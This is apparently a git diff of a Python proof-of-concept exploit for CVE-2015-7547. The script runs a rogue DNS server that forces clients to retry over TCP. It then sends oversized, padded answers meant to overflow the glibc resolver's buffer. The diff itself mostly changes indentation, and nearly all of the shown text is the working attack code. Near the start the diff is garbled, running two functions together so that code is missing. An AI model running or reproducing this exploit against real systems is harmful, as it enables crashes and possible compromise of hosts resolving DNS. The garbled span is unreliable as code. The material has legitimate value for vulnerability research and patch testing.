diff --git a/CVE-2015-7547-poc.py b/CVE-2015-7547-poc.py index 40188b3..07b7491 100755 --- a/CVE-2015-7547-poc.py +++ b/CVE-2015-7547-poc.py @@ -14,7 +14,7 @@ # See the License for the specific language governing permissions and # limitations under the License. # -# Authors: +# Authors: # Fermin J. Serna # Gynvael Coldwind # Thomas Garnier @@ -24,7 +24,7 @@ import struct import threading -IP = '127.0.0.1' # Insert your ip for bind() here... +IP = '127.0.0.1' # Insert your ip for bind() here... ANSWERS1 = 184 terminate = False @@ -33,97 +33,101 @@ def dw(x): - return struct.pack('>H', x) + return struct.pack('>H', x) + def dd(x): - return struct.pack('>I', x) + return struct.pack('>I', x) + def dl(x): - return struct.pack('H', data[0:2])[0] - query_udp = data[12:] + while not terminate: + data, addr = sock_udp.recvfrom(1024) + print '[UDP] Total Data len recv ' + str(len(data)) + id_udp = struct.unpack('>H', data[0:2])[0] + query_udp = data[12:] - # Send truncated flag... so it retries over TCP - data = dw(id_udp) # id - data += dw(0x8380) # flags with truncated set - data += dw(1) # questions - data += dw(0) # answers - data += dw(0) # authoritative - data += dw(0) # additional - data += query_udp # question - data += '\x00' * 2500 # Need a long DNS response to force malloc + # Send truncated flag... so it retries over TCP + data = dw(id_udp) # id + data += dw(0x8380) # flags with truncated set + data += dw(1) # questions + data += dw(0) # answers + data += dw(0) # authoritative + data += dw(0) # additional + data += query_udp # question + data += '\x00' * 2500 # Need a long DNS response to force malloc - answers.append((data, addr)) + answers.append((data, addr)) - if len(answers) != 2: - continue + if len(answers) != 2: + continue - counter += 1 + counter += 1 - if counter % 4 == 2: - answers = answers[::-1] + if counter % 4 == 2: + answers = answers[::-1] - time.sleep(0.01) - sock_udp.sendto(*answers.pop(0)) - reply_now.wait() - sock_udp.sendto(*answers.pop(0)) + time.sleep(0.01) + sock_udp.sendto(*answers.pop(0)) + reply_now.wait() + sock_udp.sendto(*answers.pop(0)) - sock_udp.close() + sock_udp.close() def tcp_thread(): - global terminate - counter = -1 - - #Open TCP socket - sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - sock_tcp.bind((IP, 53)) - sock_tcp.listen(10) - - while not terminate: - conn, addr = sock_tcp.accept() - counter += 1 - print 'Connected with ' + addr[0] + ':' + str(addr[1]) - - # Read entire packet - data = conn.recv(1024) - print '[TCP] Total Data len recv ' + str(len(data)) - - reqlen1 = socket.ntohs(struct.unpack('H', data[0:2])[0]) - print '[TCP] Request1 len recv ' + str(reqlen1) - data1 = data[2:2+reqlen1] - id1 = struct.unpack('>H', data1[0:2])[0] - query1 = data[12:] - - # Do we have an extra request? - data2 = None + global terminate + counter = -1 + + # Open TCP socket + sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + sock_tcp.bind((IP, 53)) + sock_tcp.listen(10) + + while not terminate: + conn, addr = sock_tcp.accept() + counter += 1 + print 'Connected with ' + addr[0] + ':' + str(addr[1]) + + # Read entire packet + data = conn.recv(1024) + print '[TCP] Total Data len recv ' + str(len(data)) + + reqlen1 = socket.ntohs(struct.unpack('H', data[0:2])[0]) + print '[TCP] Request1 len recv ' + str(reqlen1) + data1 = data[2:2+reqlen1] + id1 = struct.unpack('>H', data1[0:2])[0] + query1 = data[12:] + + # Do we have an extra request? + data2 = None if len(data) > 2+reqlen1: - reqlen2 = socket.ntohs(struct.unpack('H', data[2+reqlen1:2+reqlen1+2])[0]) - print '[TCP] Request2 len recv ' + str(reqlen2) - data2 = data[2+reqlen1+2:2+reqlen1+2+reqlen2] - id2 = struct.unpack('>H', data2[0:2])[0] - query2 = data2[12:] + reqlen2 = socket.ntohs(struct.unpack('H', data[2+reqlen1:2+reqlen1+2])[0]) + print '[TCP] Request2 len recv ' + str(reqlen2) + data2 = data[2+reqlen1+2:2+reqlen1+2+reqlen2] + id2 = struct.unpack('>H', data2[0:2])[0] + query2 = data2[12:] # Reply them on different packets data = '' @@ -136,43 +140,42 @@ def tcp_thread(): data += query1 # question for i in range(ANSWERS1): - answer = dw(0xc00c) # name compressed - answer += dw(1) # type A - answer += dw(1) # class - answer += dd(13) # ttl - answer += dw(4) # data length - answer += 'D' * 4 # data + answer = dw(0xc00c) # name compressed + answer += dw(1) # type A + answer += dw(1) # class + answer += dd(13) # ttl + answer += dw(4) # data length + answer += 'D' * 4 # data - data += answer + data += answer data1_reply = dw(len(data)) + data if data2: - data = '' - data += dw(id2) - data += 'B' * (2300) - data2_reply = dw(len(data)) + data + data = '' + data += dw(id2) + data += 'B' * (2300) + data2_reply = dw(len(data)) + data else: - data2_reply = None + data2_reply = None reply_now.set() time.sleep(0.01) conn.sendall(data1_reply) time.sleep(0.01) if data2: - conn.sendall(data2_reply) + conn.sendall(data2_reply) reply_now.clear() - sock_tcp.shutdown(socket.SHUT_RDWR) - sock_tcp.close() + sock_tcp.shutdown(socket.SHUT_RDWR) + sock_tcp.close() if __name__ == "__main__": - t = threading.Thread(target=udp_thread) - t.daemon = True - t.start() - tcp_thread() - terminate = True - + t = threading.Thread(target=udp_thread) + t.daemon = True + t.start() + tcp_thread() + terminate = True